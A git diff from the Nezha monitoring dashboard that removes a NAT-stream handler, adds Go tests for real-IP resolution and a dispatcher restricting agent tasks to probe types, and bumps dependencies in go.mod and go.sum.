singleton.ServerShared.Get(natConfig.ServerID) - if server == nil || server.TaskStream == nil { - w.WriteHeader(http.StatusServiceUnavailable) - w.Write([]byte("server not found or not connected")) - return - } - - streamId, err := uuid.GenerateUUID() - if err != nil { - w.WriteHeader(http.StatusServiceUnavailable) - w.Write(fmt.Appendf(nil, "stream id error: %v", err)) - return - } - - rpcService.NezhaHandlerSingleton.CreateStream(streamId) - defer rpcService.NezhaHandlerSingleton.CloseStream(streamId) - - taskData, err := json.Marshal(model.TaskNAT{ - StreamID: streamId, - Host: natConfig.Host, - }) - if err != nil { - w.WriteHeader(http.StatusServiceUnavailable) - w.Write(fmt.Appendf(nil, "task data error: %v", err)) - return - } - - if err := server.TaskStream.Send(&proto.Task{ - Type: model.TaskTypeNAT, - Data: string(taskData), - }); err != nil { - w.WriteHeader(http.StatusServiceUnavailable) - w.Write(fmt.Appendf(nil, "send task error: %v", err)) - return - } - - wWrapped, err := utils.NewRequestWrapper(r, w) - if err != nil { - w.WriteHeader(http.StatusServiceUnavailable) - w.Write(fmt.Appendf(nil, "request wrapper error: %v", err)) - return - } - - if err := rpcService.NezhaHandlerSingleton.UserConnected(streamId, wWrapped); err != nil { - w.WriteHeader(http.StatusServiceUnavailable) - w.Write(fmt.Appendf(nil, "user connected error: %v", err)) - return - } - - rpcService.NezhaHandlerSingleton.StartStream(streamId, time.Second*10) -} - -func canSendTaskToServer(task *model.Service, server *model.Server) bool { - var role model.Role - singleton.UserLock.RLock() - if u, ok := singleton.UserInfoMap[task.UserID]; !ok { - role = model.RoleMember - } else { - role = u.Role - } - singleton.UserLock.RUnlock() - - return task.UserID == server.UserID || role.IsAdmin() -} diff --git a/cmd/dashboard/rpc/rpc_test.go b/cmd/dashboard/rpc/rpc_test.go new file mode 100644 index 00000000..9e7a27e2 --- /dev/null +++ b/cmd/dashboard/rpc/rpc_test.go @@ -0,0 +1,106 @@ +package rpc + +import ( + "context" + "net" + "testing" + + "google.golang.org/grpc/peer" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// peerCtx builds a context carrying a gRPC peer address the same way the +// real transport does, so ctxWithRealIP's peer.FromContext + netip parsing +// path is exercised end-to-end. +func peerCtx(addr string) context.Context { + tcp, err := net.ResolveTCPAddr("tcp", addr) + if err != nil { + panic(err) + } + return peer.NewContext(context.Background(), &peer.Peer{Addr: tcp}) +} + +func withRealIPHeader(t *testing.T, header string) { + t.Helper() + conf := &model.Config{} + conf.AgentRealIPHeader = header + orig := singleton.Conf + singleton.Conf = &singleton.ConfigClass{Config: conf} + t.Cleanup(func() { singleton.Conf = orig }) +} + +// TestCtxWithRealIP_PeerIPModePopulatesRealIP pins the regression: in +// AgentRealIPHeader == ConfigUsePeerIP mode the resolved real IP must equal +// the connecting peer IP. If it stays empty, model.CheckIP / model.BlockIP +// short-circuit on "" and the gRPC WAF + brute-force blocking are bypassed. +func TestCtxWithRealIP_PeerIPModePopulatesRealIP(t *testing.T) { + withRealIPHeader(t, model.ConfigUsePeerIP) + + ctx, err := ctxWithRealIP(peerCtx("203.0.113.7:54321")) + if err != nil { + t.Fatalf("ctxWithRealIP returned error: %v", err) + } + + realIP, _ := ctx.Value(model.CtxKeyRealIP{}).(string) + if realIP != "203.0.113.7" { + t.Fatalf("CtxKeyRealIP = %q, want %q (empty defeats WAF/BlockIP)", realIP, "203.0.113.7") + } + + connIP, _ := ctx.Value(model.CtxKeyConnectingIP{}).(string) + if connIP != "203.0.113.7" { + t.Fatalf("CtxKeyConnectingIP = %q, want %q", connIP, "203.0.113.7") + } +} + +// TestCtxWithRealIP_PeerIPModeIPv6 confirms the port is stripped and the IPv6 +// literal is normalized for the peer-IP path. +func TestCtxWithRealIP_PeerIPModeIPv6(t *testing.T) { + withRealIPHeader(t, model.ConfigUsePeerIP) + + ctx, err := ctxWithRealIP(peerCtx("[2001:db8::1]:443")) + if err != nil { + t.Fatalf("ctxWithRealIP returned error: %v", err) + } + + realIP, _ := ctx.Value(model.CtxKeyRealIP{}).(string) + if realIP != "2001:db8::1" { + t.Fatalf("CtxKeyRealIP = %q, want %q", realIP, "2001:db8::1") + } +} + +// TestCtxWithRealIP_PeerIPModeNoPeer keeps the documented failure behaviour +// when no connecting IP can be derived. +func TestCtxWithRealIP_PeerIPModeNoPeer(t *testing.T) { + withRealIPHeader(t, model.ConfigUsePeerIP) + + _, err := ctxWithRealIP(context.Background()) + if err == nil { + t.Fatal("expected error when connecting IP cannot be resolved in peer-IP mode") + } +} + +// TestCtxWithRealIP_NoHeaderLeavesRealIPUnset pins the intended behaviour when +// no real-IP header is configured: this is an explicit "no IP-based WAF" stance, +// so ctxWithRealIP must not error and must leave CtxKeyRealIP unset (CheckIP +// then no-ops on empty IP). CtxKeyConnectingIP is still populated for the +// nezha.go fallback. Guards against accidentally coupling the no-header path to +// the peer-IP fix. +func TestCtxWithRealIP_NoHeaderLeavesRealIPUnset(t *testing.T) { + withRealIPHeader(t, "") + + ctx, err := ctxWithRealIP(peerCtx("203.0.113.7:54321")) + if err != nil { + t.Fatalf("no-header mode must not error, got %v", err) + } + + if v := ctx.Value(model.CtxKeyRealIP{}); v != nil { + t.Fatalf("CtxKeyRealIP must be unset when no real-IP header is configured, got %v", v) + } + + connIP, _ := ctx.Value(model.CtxKeyConnectingIP{}).(string) + if connIP != "203.0.113.7" { + t.Fatalf("CtxKeyConnectingIP = %q, want %q", connIP, "203.0.113.7") + } +} diff --git a/cmd/dashboard/rpc/service_dispatch.go b/cmd/dashboard/rpc/service_dispatch.go new file mode 100644 index 00000000..32e2ed3d --- /dev/null +++ b/cmd/dashboard/rpc/service_dispatch.go @@ -0,0 +1,88 @@ +package rpc + +import ( + "errors" + "log" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +func DispatchTask(serviceSentinelDispatchBus <-chan *model.Service) { + for task := range serviceSentinelDispatchBus { + if task == nil { + continue + } + if err := model.ValidateServiceMonitorType(uint64(task.Type)); err != nil { + // Defense in depth for stale database rows and future internal callers: + // Service.Type shares its integer namespace with command/config tasks. + log.Printf("NEZHA>> DispatchTask rejected service %d: %v", task.ID, err) + continue + } + probe := task.PB() + if probe == nil { + log.Printf("NEZHA>> DispatchTask rejected service %d: invalid probe", task.ID) + continue + } + + switch task.Cover { + case model.ServiceCoverIgnoreAll: + for id, enabled := range task.SkipServers { + if !enabled { + continue + } + + server, _ := singleton.ServerShared.Get(id) + if server == nil { + continue + } + if !canSendTaskToServer(task, server) { + continue + } + if err := server.SendTask(probe); err != nil && !errors.Is(err, model.ErrTaskStreamOffline) { + log.Printf("NEZHA>> DispatchTask send error (server=%d): %v", id, err) + } + } + case model.ServiceCoverAll: + for id, server := range singleton.ServerShared.GetList() { + if server == nil || task.SkipServers[id] { + continue + } + if !canSendTaskToServer(task, server) { + continue + } + if err := server.SendTask(probe); err != nil && !errors.Is(err, model.ErrTaskStreamOffline) { + log.Printf("NEZHA>> DispatchTask send error (server=%d): %v", id, err) + } + } + } + } +} + +func DispatchKeepalive() { + singleton.CronShared.AddFunc("@every 20s", func() { + list := singleton.ServerShared.GetSortedList() + for _, s := range list { + if s == nil { + continue + } + if err := s.SendTask(&proto.Task{Type: model.TaskTypeKeepalive}); err != nil && !errors.Is(err, model.ErrTaskStreamOffline) { + log.Printf("NEZHA>> Keepalive send error (server=%d): %v", s.ID, err) + } + } + }) +} + +func canSendTaskToServer(task *model.Service, server *model.Server) bool { + var role model.Role + singleton.UserLock.RLock() + if u, ok := singleton.UserInfoMap[task.UserID]; !ok { + role = model.RoleMember + } else { + role = u.Role + } + singleton.UserLock.RUnlock() + + return task.UserID == server.GetUserID() || role.IsAdmin() +} diff --git a/cmd/dashboard/rpc/service_dispatch_type_security_test.go b/cmd/dashboard/rpc/service_dispatch_type_security_test.go new file mode 100644 index 00000000..a5eebe9f --- /dev/null +++ b/cmd/dashboard/rpc/service_dispatch_type_security_test.go @@ -0,0 +1,59 @@ +package rpc + +import ( + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestDispatchTaskSendsOnlyProbeTypes(t *testing.T) { + originalServerShared := singleton.ServerShared + originalUserInfo := singleton.UserInfoMap + t.Cleanup(func() { + singleton.ServerShared = originalServerShared + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) + + server := &model.Server{Common: model.Common{ID: 1, UserID: 100}} + stream := &serveNATTaskStream{} + server.SetTaskStream(stream) + serverShared := singleton.NewEmptyServerClassForTest() + serverShared.InsertForTest(server) + singleton.ServerShared = serverShared + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{100: {Role: model.RoleMember}} + singleton.UserLock.Unlock() + + bus := make(chan *model.Service, 8) + done := make(chan struct{}) + go func() { + DispatchTask(bus) + close(done) + }() + for _, taskType := range []uint8{model.TaskTypeCommand, model.TaskTypeApplyConfig, model.TaskTypeExec, 255} { + bus <- &model.Service{ + Common: model.Common{ID: uint64(taskType), UserID: 100}, + Type: taskType, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + } + bus <- &model.Service{ + Common: model.Common{ID: 1000, UserID: 100}, + Type: model.TaskTypeTCPPing, + Target: "example.invalid:443", + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + close(bus) + <-done + + require.Len(t, stream.sent, 1) + require.Equal(t, uint64(model.TaskTypeTCPPing), stream.sent[0].GetType()) + require.Equal(t, uint64(1000), stream.sent[0].GetId()) +} diff --git a/go.mod b/go.mod index 3ef6f760..a66f3768 100644 --- a/go.mod +++ b/go.mod @@ -1,105 +1,113 @@ module github.com/nezhahq/nezha -go 1.26 +go 1.26.5 require ( - github.com/VictoriaMetrics/VictoriaMetrics v1.134.0 + github.com/VictoriaMetrics/VictoriaMetrics v1.148.0 github.com/appleboy/gin-jwt/v2 v2.10.3 github.com/dustinkirkland/golang-petname v0.0.0-20260215035315-f0c533e9ce9b - github.com/gin-contrib/pprof v1.5.3 + github.com/gin-contrib/pprof v1.5.4 github.com/gin-gonic/gin v1.12.0 github.com/go-viper/mapstructure/v2 v2.5.0 github.com/goccy/go-json v0.10.6 + github.com/golang-jwt/jwt/v4 v4.5.2 github.com/gorilla/websocket v1.5.3 github.com/hashicorp/go-uuid v1.0.3 github.com/jinzhu/copier v0.4.0 github.com/knadh/koanf/maps v0.1.2 github.com/knadh/koanf/providers/env v1.1.0 github.com/knadh/koanf/providers/file v1.2.1 - github.com/knadh/koanf/v2 v2.3.3 + github.com/knadh/koanf/v2 v2.3.5 github.com/leonelquinteros/gotext v1.7.2 github.com/libdns/cloudflare v0.2.2 - github.com/libdns/he v1.2.1 + github.com/libdns/he v1.2.2 github.com/libdns/libdns v1.1.1 github.com/likexian/whois v1.15.7 github.com/likexian/whois-parser v1.24.21 + github.com/mattn/go-sqlite3 v1.14.49 github.com/miekg/dns v1.1.72 - github.com/nezhahq/libdns-tencentcloud v0.0.0-20250501081622-bd293105845a + github.com/modelcontextprotocol/go-sdk v1.7.0 + github.com/nezhahq/libdns-tencentcloud v0.0.0-20260628095405-2ab294ec675b github.com/ory/graceful v0.2.0 github.com/oschwald/maxminddb-golang v1.13.1 github.com/patrickmn/go-cache v2.1.0+incompatible github.com/robfig/cron/v3 v3.0.1 + github.com/sqids/sqids-go v0.4.1 github.com/stretchr/testify v1.11.1 github.com/swaggo/files v1.0.1 github.com/swaggo/gin-swagger v1.6.1 github.com/swaggo/swag v1.16.6 - github.com/tidwall/gjson v1.18.0 - golang.org/x/crypto v0.49.0 - golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 - golang.org/x/net v0.52.0 + github.com/tidwall/gjson v1.19.0 + golang.org/x/crypto v0.54.0 + golang.org/x/exp v0.0.0-20260727155853-b88d891fe743 + golang.org/x/mod v0.38.0 + golang.org/x/net v0.57.0 golang.org/x/oauth2 v0.36.0 - golang.org/x/sync v0.20.0 - google.golang.org/grpc v1.79.3 - google.golang.org/protobuf v1.36.11 + golang.org/x/sync v0.22.0 + golang.org/x/sys v0.47.0 + google.golang.org/grpc v1.83.0 + google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af + gopkg.in/yaml.v3 v3.0.1 gorm.io/datatypes v1.2.7 gorm.io/driver/sqlite v1.6.0 - gorm.io/gorm v1.31.1 + gorm.io/gorm v1.31.2 sigs.k8s.io/yaml v1.6.0 ) require ( filippo.io/edwards25519 v1.1.0 // indirect github.com/KyleBanks/depth v1.2.1 // indirect - github.com/VictoriaMetrics/easyproto v1.1.3 // indirect - github.com/VictoriaMetrics/fastcache v1.13.2 // indirect - github.com/VictoriaMetrics/metrics v1.40.2 // indirect - github.com/VictoriaMetrics/metricsql v0.84.8 // indirect + github.com/VictoriaMetrics/easyproto v1.2.0 // indirect + github.com/VictoriaMetrics/fastcache v1.13.3 // indirect + github.com/VictoriaMetrics/metrics v1.44.0 // indirect + github.com/VictoriaMetrics/metricsql v0.87.3 // indirect github.com/bytedance/gopkg v0.1.4 // indirect - github.com/bytedance/sonic v1.15.0 // indirect - github.com/bytedance/sonic/loader v0.5.0 // indirect + github.com/bytedance/sonic v1.15.1 // indirect + github.com/bytedance/sonic/loader v0.5.1 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect - github.com/cloudwego/base64x v0.1.6 // indirect + github.com/cloudwego/base64x v0.1.7 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect - github.com/fsnotify/fsnotify v1.9.0 // indirect + github.com/fsnotify/fsnotify v1.10.1 // indirect github.com/gabriel-vasile/mimetype v1.4.13 // indirect - github.com/gin-contrib/sse v1.1.0 // indirect - github.com/go-openapi/jsonpointer v0.22.5 // indirect + github.com/gin-contrib/sse v1.1.1 // indirect + github.com/go-openapi/jsonpointer v0.23.1 // indirect github.com/go-openapi/jsonreference v0.21.5 // indirect github.com/go-openapi/spec v0.22.4 // indirect - github.com/go-openapi/swag/conv v0.25.5 // indirect - github.com/go-openapi/swag/jsonname v0.25.5 // indirect - github.com/go-openapi/swag/jsonutils v0.25.5 // indirect - github.com/go-openapi/swag/loading v0.25.5 // indirect - github.com/go-openapi/swag/stringutils v0.25.5 // indirect - github.com/go-openapi/swag/typeutils v0.25.5 // indirect - github.com/go-openapi/swag/yamlutils v0.25.5 // indirect + github.com/go-openapi/swag/conv v0.26.0 // indirect + github.com/go-openapi/swag/jsonname v0.26.0 // indirect + github.com/go-openapi/swag/jsonutils v0.26.0 // indirect + github.com/go-openapi/swag/loading v0.26.0 // indirect + github.com/go-openapi/swag/stringutils v0.26.0 // indirect + github.com/go-openapi/swag/typeutils v0.26.0 // indirect + github.com/go-openapi/swag/yamlutils v0.26.0 // indirect github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect - github.com/go-playground/validator/v10 v10.30.1 // indirect + github.com/go-playground/validator/v10 v10.30.2 // indirect github.com/go-sql-driver/mysql v1.8.1 // indirect github.com/goccy/go-yaml v1.19.2 // indirect - github.com/golang-jwt/jwt/v4 v4.5.2 // indirect github.com/golang/snappy v1.0.0 // indirect + github.com/google/jsonschema-go v0.4.3 // indirect github.com/google/uuid v1.6.0 // indirect github.com/jinzhu/inflection v1.0.0 // indirect github.com/jinzhu/now v1.1.5 // indirect github.com/json-iterator/go v1.1.12 // indirect - github.com/klauspost/compress v1.18.0 // indirect + github.com/klauspost/compress v1.18.6 // indirect github.com/klauspost/cpuid/v2 v2.3.0 // indirect github.com/leodido/go-urn v1.4.0 // indirect github.com/likexian/gokit v0.25.16 // indirect - github.com/mattn/go-isatty v0.0.20 // indirect - github.com/mattn/go-sqlite3 v1.14.37 // indirect + github.com/mattn/go-isatty v0.0.22 // indirect github.com/mitchellh/copystructure v1.2.0 // indirect github.com/mitchellh/reflectwalk v1.0.2 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee // indirect - github.com/pelletier/go-toml/v2 v2.2.4 // indirect + github.com/pelletier/go-toml/v2 v2.3.1 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/quic-go/qpack v0.6.0 // indirect - github.com/quic-go/quic-go v0.59.0 // indirect + github.com/quic-go/quic-go v0.59.1 // indirect github.com/rogpeppe/go-internal v1.14.1 // indirect + github.com/segmentio/asm v1.1.3 // indirect + github.com/segmentio/encoding v0.5.4 // indirect github.com/tidwall/match v1.2.0 // indirect github.com/tidwall/pretty v1.2.1 // indirect github.com/tidwall/sjson v1.2.5 // indirect @@ -110,17 +118,15 @@ require ( github.com/valyala/gozstd v1.24.0 // indirect github.com/valyala/histogram v1.2.0 // indirect github.com/valyala/quicktemplate v1.8.0 // indirect + github.com/yosida95/uritemplate/v3 v3.0.2 // indirect github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect - go.mongodb.org/mongo-driver/v2 v2.5.0 // indirect + go.mongodb.org/mongo-driver/v2 v2.6.0 // indirect go.yaml.in/yaml/v2 v2.4.4 // indirect go.yaml.in/yaml/v3 v3.0.4 // indirect - golang.org/x/arch v0.25.0 // indirect - golang.org/x/mod v0.34.0 // indirect - golang.org/x/sys v0.42.0 // indirect - golang.org/x/text v0.35.0 // indirect + golang.org/x/arch v0.27.0 // indirect + golang.org/x/text v0.40.0 // indirect golang.org/x/time v0.15.0 // indirect - golang.org/x/tools v0.43.0 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20260319201613-d00831a3d3e7 // indirect - gopkg.in/yaml.v3 v3.0.1 // indirect + golang.org/x/tools v0.48.0 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20260615183401-62b3387ff324 // indirect gorm.io/driver/mysql v1.5.6 // indirect ) diff --git a/go.sum b/go.sum index 6df89347..06725786 100644 --- a/go.sum +++ b/go.sum @@ -2,16 +2,16 @@ filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= github.com/KyleBanks/depth v1.2.1 h1:5h8fQADFrWtarTdtDudMmGsC7GPbOAu6RVB3ffsVFHc= github.com/KyleBanks/depth v1.2.1/go.mod h1:jzSb9d0L43HxTQfT+oSA1EEp2q+ne2uh6XgeJcm8brE= -github.com/VictoriaMetrics/VictoriaMetrics v1.134.0 h1:0FgGM0rVRcTzd9qtO1gHlgLC/kBA1gsi+iwSYXAa/rQ= -github.com/VictoriaMetrics/VictoriaMetrics v1.134.0/go.mod h1:vUnt83zBB65TkVq7zSjSuJFUZFwnmV+hdF2KmkUbY0U= -github.com/VictoriaMetrics/easyproto v1.1.3 h1:gRSA3ZQs7n4+5I+SniDWD59jde1jVq4JmgQ9HUUyvk4= -github.com/VictoriaMetrics/easyproto v1.1.3/go.mod h1:QlGlzaJnDfFd8Lk6Ci/fuLxfTo3/GThPs2KH23mv710= -github.com/VictoriaMetrics/fastcache v1.13.2 h1:2XTB49aLSuCex7e9P5rqrfQcMkzGjh5Vq3GMFa8YpCA= -github.com/VictoriaMetrics/fastcache v1.13.2/go.mod h1:hHXhl4DA2fTL2HTZDJFXWgW0LNjo6B+4aj2Wmng3TjU= -github.com/VictoriaMetrics/metrics v1.40.2 h1:OVSjKcQEx6JAwGeu8/KQm9Su5qJ72TMEW4xYn5vw3Ac= -github.com/VictoriaMetrics/metrics v1.40.2/go.mod h1:XE4uudAAIRaJE614Tl5HMrtoEU6+GDZO4QTnNSsZRuA= -github.com/VictoriaMetrics/metricsql v0.84.8 h1:5JXrvPJiYkYNqJVT7+hMZmpAwRHd3txBdlVIw4rJ1VM= -github.com/VictoriaMetrics/metricsql v0.84.8/go.mod h1:d4EisFO6ONP/HIGDYTAtwrejJBBeKGQYiRl095bS4QQ= +github.com/VictoriaMetrics/VictoriaMetrics v1.148.0 h1:qfsMLjvkNnIIE3w3o7Sf1ejpYAE3pGwqAz4OqKNqZYI= +github.com/VictoriaMetrics/VictoriaMetrics v1.148.0/go.mod h1:/grcppu6T0Y1k8z6e7ACb43sYUKGkvQ4xVVdCANK/d0= +github.com/VictoriaMetrics/easyproto v1.2.0 h1:FJT9uNXA2isppFuJErbLqD306KoFlehl7Wn2dg/6oIE= +github.com/VictoriaMetrics/easyproto v1.2.0/go.mod h1:QlGlzaJnDfFd8Lk6Ci/fuLxfTo3/GThPs2KH23mv710= +github.com/VictoriaMetrics/fastcache v1.13.3 h1:rBabE0iIxcqKEMCwUmwHZ9dgEqXerg8FRbRDUvC7OVc= +github.com/VictoriaMetrics/fastcache v1.13.3/go.mod h1:hHXhl4DA2fTL2HTZDJFXWgW0LNjo6B+4aj2Wmng3TjU= +github.com/VictoriaMetrics/metrics v1.44.0 h1:Fr8yqQSV+ZfYaDD/anqk1E8e9YPgfleSleJmAI0M0Tw= +github.com/VictoriaMetrics/metrics v1.44.0/go.mod h1:xDM82ULLYCYdFRgQ2JBxi8Uf1+8En1So9YUwlGTOqTc= +github.com/VictoriaMetrics/metricsql v0.87.3 h1:JU4JnVKSC5Vp3b4AvogXyOAjkz1iFF9n1KBMphS4WO8= +github.com/VictoriaMetrics/metricsql v0.87.3/go.mod h1:d4EisFO6ONP/HIGDYTAtwrejJBBeKGQYiRl095bS4QQ= github.com/allegro/bigcache v1.2.1-0.20190218064605-e24eb225f156 h1:eMwmnE/GDgah4HI848JfFxHt+iPb26b4zyfspmqY0/8= github.com/allegro/bigcache v1.2.1-0.20190218064605-e24eb225f156/go.mod h1:Cb/ax3seSYIx7SuZdm2G2xzfwmv3TPSk2ucNfQESPXM= github.com/appleboy/gin-jwt/v2 v2.10.3 h1:KNcPC+XPRNpuoBh+j+rgs5bQxN+SwG/0tHbIqpRoBGc= @@ -20,71 +20,71 @@ github.com/appleboy/gofight/v2 v2.1.2 h1:VOy3jow4vIK8BRQJoC/I9muxyYlJ2yb9ht2hZoS github.com/appleboy/gofight/v2 v2.1.2/go.mod h1:frW+U1QZEdDgixycTj4CygQ48yLTUhplt43+Wczp3rw= github.com/bytedance/gopkg v0.1.4 h1:oZnQwnX82KAIWb7033bEwtxvTqXcYMxDBaQxo5JJHWM= github.com/bytedance/gopkg v0.1.4/go.mod h1:v1zWfPm21Fb+OsyXN2VAHdL6TBb2L88anLQgdyje6R4= -github.com/bytedance/sonic v1.15.0 h1:/PXeWFaR5ElNcVE84U0dOHjiMHQOwNIx3K4ymzh/uSE= -github.com/bytedance/sonic v1.15.0/go.mod h1:tFkWrPz0/CUCLEF4ri4UkHekCIcdnkqXw9VduqpJh0k= -github.com/bytedance/sonic/loader v0.5.0 h1:gXH3KVnatgY7loH5/TkeVyXPfESoqSBSBEiDd5VjlgE= -github.com/bytedance/sonic/loader v0.5.0/go.mod h1:AR4NYCk5DdzZizZ5djGqQ92eEhCCcdf5x77udYiSJRo= +github.com/bytedance/sonic v1.15.1 h1:nJD5PmM0vY7J8CT6MxoqbVAAMhkSmV2HgRAUrrpLoOw= +github.com/bytedance/sonic v1.15.1/go.mod h1:mT2NbXunuaEbnZ+mRIX/vYqKISmgEuHFDI4UzmKx2SA= +github.com/bytedance/sonic/loader v0.5.1 h1:Ygpfa9zwRCCKSlrp5bBP/b/Xzc3VxsAW+5NIYXrOOpI= +github.com/bytedance/sonic/loader v0.5.1/go.mod h1:AR4NYCk5DdzZizZ5djGqQ92eEhCCcdf5x77udYiSJRo= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cloudwego/base64x v0.1.6 h1:t11wG9AECkCDk5fMSoxmufanudBtJ+/HemLstXDLI2M= -github.com/cloudwego/base64x v0.1.6/go.mod h1:OFcloc187FXDaYHvrNIjxSe8ncn0OOM8gEHfghB2IPU= +github.com/cloudwego/base64x v0.1.7 h1:NppS+Fgzg5ovhn4NkUXaDT3x9jldgH5ToMCqzBSi2zI= +github.com/cloudwego/base64x v0.1.7/go.mod h1:Cu1PV9zfrSf7ET2tIbWbbEy7jO7HHJ13q4X2SQ8aWYg= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dustinkirkland/golang-petname v0.0.0-20260215035315-f0c533e9ce9b h1:qZ21OofI7zneC9dOEqul4FmIWz/YjJJMrf6fL7jrFYQ= github.com/dustinkirkland/golang-petname v0.0.0-20260215035315-f0c533e9ce9b/go.mod h1:8AuBTZBRSFqEYBPYULd+NN474/zZBLP+6WeT5S9xlAc= -github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k= -github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= +github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= +github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/gabriel-vasile/mimetype v1.4.13 h1:46nXokslUBsAJE/wMsp5gtO500a4F3Nkz9Ufpk2AcUM= github.com/gabriel-vasile/mimetype v1.4.13/go.mod h1:d+9Oxyo1wTzWdyVUPMmXFvp4F9tea18J8ufA774AB3s= github.com/gin-contrib/gzip v0.0.6 h1:NjcunTcGAj5CO1gn4N8jHOSIeRFHIbn51z6K+xaN4d4= github.com/gin-contrib/gzip v0.0.6/go.mod h1:QOJlmV2xmayAjkNS2Y8NQsMneuRShOU/kjovCXNuzzk= -github.com/gin-contrib/pprof v1.5.3 h1:Bj5SxJ3kQDVez/s/+f9+meedJIqLS+xlkIVDe/lcvgM= -github.com/gin-contrib/pprof v1.5.3/go.mod h1:0+LQSZ4SLO0B6+2n6JBzaEygpTBxe/nI+YEYpfQQ6xY= -github.com/gin-contrib/sse v1.1.0 h1:n0w2GMuUpWDVp7qSpvze6fAu9iRxJY4Hmj6AmBOU05w= -github.com/gin-contrib/sse v1.1.0/go.mod h1:hxRZ5gVpWMT7Z0B0gSNYqqsSCNIJMjzvm6fqCz9vjwM= +github.com/gin-contrib/pprof v1.5.4 h1:daxf2UNZw5IEx6WBdcpnEzgeDfkp083KdjUAFuMEkK4= +github.com/gin-contrib/pprof v1.5.4/go.mod h1:AUxwt9kgpJGWiytj6RorBqRMyFuOQk7dPNfM9nHEY9I= +github.com/gin-contrib/sse v1.1.1 h1:uGYpNwTacv5R68bSGMapo62iLTRa9l5zxGCps4hK6ko= +github.com/gin-contrib/sse v1.1.1/go.mod h1:QXzuVkA0YO7o/gun03UI1Q+FTI8ZV/n5t03kIQAI89s= github.com/gin-gonic/gin v1.12.0 h1:b3YAbrZtnf8N//yjKeU2+MQsh2mY5htkZidOM7O0wG8= github.com/gin-gonic/gin v1.12.0/go.mod h1:VxccKfsSllpKshkBWgVgRniFFAzFb9csfngsqANjnLc= github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= -github.com/go-openapi/jsonpointer v0.22.5 h1:8on/0Yp4uTb9f4XvTrM2+1CPrV05QPZXu+rvu2o9jcA= -github.com/go-openapi/jsonpointer v0.22.5/go.mod h1:gyUR3sCvGSWchA2sUBJGluYMbe1zazrYWIkWPjjMUY0= +github.com/go-openapi/jsonpointer v0.23.1 h1:1HBACs7XIwR2RcmItfdSFlALhGbe6S92p0ry4d1GWg4= +github.com/go-openapi/jsonpointer v0.23.1/go.mod h1:iWRmZTrGn7XwYhtPt/fvdSFj1OfNBngqRT2UG3BxSqY= github.com/go-openapi/jsonreference v0.21.5 h1:6uCGVXU/aNF13AQNggxfysJ+5ZcU4nEAe+pJyVWRdiE= github.com/go-openapi/jsonreference v0.21.5/go.mod h1:u25Bw85sX4E2jzFodh1FOKMTZLcfifd1Q+iKKOUxExw= github.com/go-openapi/spec v0.22.4 h1:4pxGjipMKu0FzFiu/DPwN3CTBRlVM2yLf/YTWorYfDQ= github.com/go-openapi/spec v0.22.4/go.mod h1:WQ6Ai0VPWMZgMT4XySjlRIE6GP1bGQOtEThn3gcWLtQ= github.com/go-openapi/swag v0.19.15 h1:D2NRCBzS9/pEY3gP9Nl8aDqGUcPFrwG2p+CNFrLyrCM= 